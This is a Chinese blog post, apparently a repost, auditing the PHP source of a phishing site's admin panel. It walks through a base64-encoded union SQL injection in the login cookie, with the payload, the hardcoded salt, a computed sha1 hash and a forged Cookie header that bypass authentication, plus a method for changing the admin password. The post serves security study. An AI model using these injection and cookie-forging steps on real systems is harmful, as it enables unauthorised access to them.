代码审计之_钓鱼后台代码审计

前言

今天群里有位表哥发了一个钓鱼网站,另一位表哥又说有漏洞,于是就找他要到了源码,并且提供了一些思路,因为代码量比较少,所以我就通读了。

开始审计

首先看了一下目录结构,发现只有两个目录还有一些文件

目录结构

在这里插入图片描述
存在一个防注入的360webscan,而且对于数据库操作都对传入的参数使用了addslashes函数过滤,并且用单引号包裹,比较难受,于是把重点放到了urldecode和base64_decode函数上,因为数据在经过加密之后,是可以绕过waf的

xff注入测试

因为在上一个钓鱼的站,存在xff注入,这个是2018(可能是2017的升级版),所以重点测试了一下这里,首先看传入参数的文件,2018.php

<?php

require_once './include/common.php';

$realip=real_ip();

$ipcount=$DB->count("SELECT count(*) from fish_user where ip='$realip'");

if($ipcount<3){

$username=daddslashes($_POST['user']);

$password=daddslashes($_POST['pass']);

$address=getCity($realip);

$time=date("Y-m-d H:i:s");

$ua=$_SERVER['HTTP_USER_AGENT'];

$device=get_device($ua);

$sql="INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";

$DB->query($sql);

//在这里他完成写文件之后进行跳转

header("Location: https://i.qq.com/?rd=".$username);

}

else

{

//在这里他完成写文件之后进行跳转

header("Location: https://i.qq.com/?rd=".$username);

}

?>

跟踪一下real_ip()

function real_ip() {
	$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
	if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
		$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
		$ip = $list[0];
	}
	if (!ip2long($ip)) {
		$ip = '';
	}
	return $ip;
}

发现使用了ip2long函数进行过滤

base64_decode函数

在include/member.php下

<?php
if(!defined('IN_CRONLITE'))exit();

if(isset($_COOKIE["islogin"])){
	if($_COOKIE["admin_user"]){
		$admin_user=base64_decode($_COOKIE['admin_user']);
		$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
		if($udata['username']==''){
			setcookie("islogin", "", time() - 604800);
			setcookie("admin_user", "", time() - 604800);
			setcookie("admin_pass", "", time() - 604800);
		}
		$admin_pass=sha1($udata['password'].LOGIN_KEY);
		if($admin_pass==$_COOKIE["admin_pass"]){
			$islogin=1;
		}else{
			setcookie("islogin", "", time() - 604800);
			setcookie("admin_user", "", time() - 604800);
			setcookie("admin_pass", "", time() - 604800);
		}
	}
}
if(isset($_SESSION['islogin'])){
	if($_SESSION["admin_user"]){
		$admin_user=base64_decode($_SESSION['admin_user']);
		$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
		$admin_pass=sha1($udata['password'].LOGIN_KEY);
		if($admin_pass==$_SESSION["admin_pass"]){
			$islogin=1;
		}
	}
}
?>

发现这里对于cookie参数使用了base64_decode函数,看一下后面的逻辑解码之后直接放出查询,这里可以使用时间注入,直接将payload base64加密就行了。

构造绕过

下面判断sql查询返回的username是否为空,不为空的话将查询回来的password加盐后进行sha1加密,与cookie中的admin_pass进行比较,跟踪了一下盐,发现在代码中存在

<?php
    
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
define('IN_CRONLITE', true);
define('ROOT', dirname(__FILE__).'/');
define('LOGIN_KEY', 'abchdbb768541');
date_default_timezone_set("PRC");
$date = date("Y-m-d H:i:s");
session_start();

if(is_file(ROOT.'360safe/360webscan.php')){//360网站卫士
    require_once(ROOT.'360safe/360webscan.php');
}
include ROOT.'../config.php';

if(!isset($port))$port='3306';
//连接数据库
include_once(ROOT."db.class.php");
$DB=new DB($host,$user,$pwd,$dbname,$port);

$password_hash='!@#%!s!';
include ROOT."function.php";
include ROOT."member.php";
include ROOT."os.php";
include ROOT."kill.intercept.php";
?>

所以可以构造联合注入,payload ’ union select 1,1,1,1,1,1#
base64加密后 JyB1bmlvbiBzZWxlY3QgMSwxLDEsMSwxLDEj
把1abchdbb768541进行sha1加密后05b2d871710e7871de3193152c978fa60052ec1d
构造cookie

Cookie: PHPSESSID=1111111111111111111111; islogin=1; admin_user=JyB1bmlvbiBzZWxlY3QgMSwxLDEsMSwxLDEj; admin_pass=05b2d871710e7871de3193152c978fa60052ec1d

在这里插入图片描述

修改管理密码

<?php

include("../include/common.php");

	if($islogin==1){}else exit("<script language='javascript'>window.location.href='./login.php';</script>");	if(isset($_POST['data'])){

	$name=daddslashes($_POST['name']);

	$qq=daddslashes($_POST['qq']);

	$sql="update fish_admin set name='$name',qq='$qq' where id='{$udata['id']}';";

	$DB->query($sql);

	exit("<script language='javascript'>alert('资料修改成功!');window.location.href='./modify.php';</script>");

}else if(isset($_POST['passwd'])){

	$oldpass=daddslashes($_POST['oldpass']);

	if($udata['password'] == md5($oldpass)){

		$newpass=daddslashes($_POST['newpass']);

		$checkpass=daddslashes($_POST['checkpass']);

		if($newpass==$checkpass){

			if($newpass==''){exit("<script language='javascript'>alert('新密码不允许为空!');history.go(-1);</script>");}

			$newpass=md5($newpass);

			$sql="update fish_admin set password='$newpass' where id='{$udata['id']}';";

			$DB->query($sql);

			setcookie("islogin", "", time() - 604800);

			setcookie("admin_user", "", time() - 604800);

			setcookie("admin_pass", "", time() - 604800);

			unset($_SESSION['islogin']);

			unset($_SESSION['admin_user']);

			unset($_SESSION['admin_pass']);

			exit("<script language='javascript'>alert('您的密码已修改成功,请使用新密码重新登陆!');window.location.href='./login.php';</script>");

		}else{

			exit("<script language='javascript'>alert('两次密码输入不一致,验证新密码失败!');history.go(-1);</script>");

		}

	}else{

		exit("<script language='javascript'>alert('旧密码不正确!');history.go(-1);</script>");

	}

}

?>

<!DOCTYPE html>

<html lang="zh-cn">

<head>

  <meta charset="utf-8"/>

  <meta name="viewport" content="width=device-width, initial-scale=1"/>

  <title>修改密码</title>

</head>

<body>

 <table width="100%" border="0" cellspacing="1" cellpadding="2" align="center" bgcolor="0071bc">

<tr bgcolor="#EEEEEE" align="center"><td height="21"><a href="index.php">数据查看</a></td><td bgcolor="#EEEEEE"><a href="pass.php">修改密码</a></td><td height="21"><a href="http://wpa.qq.com/msgrd?v=3&uin=2846998494&site=qq&menu=yes">联系客服</a></td><td height="21"><a href="login.php?logout">退出登录</a></td></tr>

</table>

  <form class="js-validation-bootstrap" action="pass.php" method="post" novalidate="novalidate">

  

            <div class="input-group">

              <span class="input-group-addon"><span class="glyphicon glyphicon-lock"></span></span>

</br>

              <input type="text" name="oldpass" id="password" class="form-control" placeholder="请输入旧密码" required="required"/>

            </div><br/>

<div class="input-group">

              <span class="input-group-addon"><span class="glyphicon glyphicon-lock"></span></span>

              <input type="text" name="newpass" id="password" class="form-control" placeholder="请输入新密码" required="required"/>

            </div><br/>

<div class="input-group">

              <span class="input-group-addon"><span class="glyphicon glyphicon-lock"></span></span>

              <input type="text" name="checkpass" id="password" class="form-control" placeholder="请确认新密码" required="required"/>

            </div><br/>

            <div class="form-group">

            <div class="col-xs-14"><input name="passwd" type="submit" value="确定修改" class="btn btn-primary form-control"/></div>

 

            			

   

</body>

</html>

可以看到在修改密码的时候,对比的全都是数据库中返回的结果,这里数据库返回的结果我们是可控的,把对应字段输出修改一下,把password字段修改为任意md5值,输入新密码即可完成管理密码修改,这里演示一下修改qq的操作,修改管理密码可以自行构造
在这里插入图片描述

结束

把这个后台简单修改了一下,搭个环境,准备留着当题用。

猜你喜欢

转载自blog.csdn.net/qq_43645782/article/details/105720447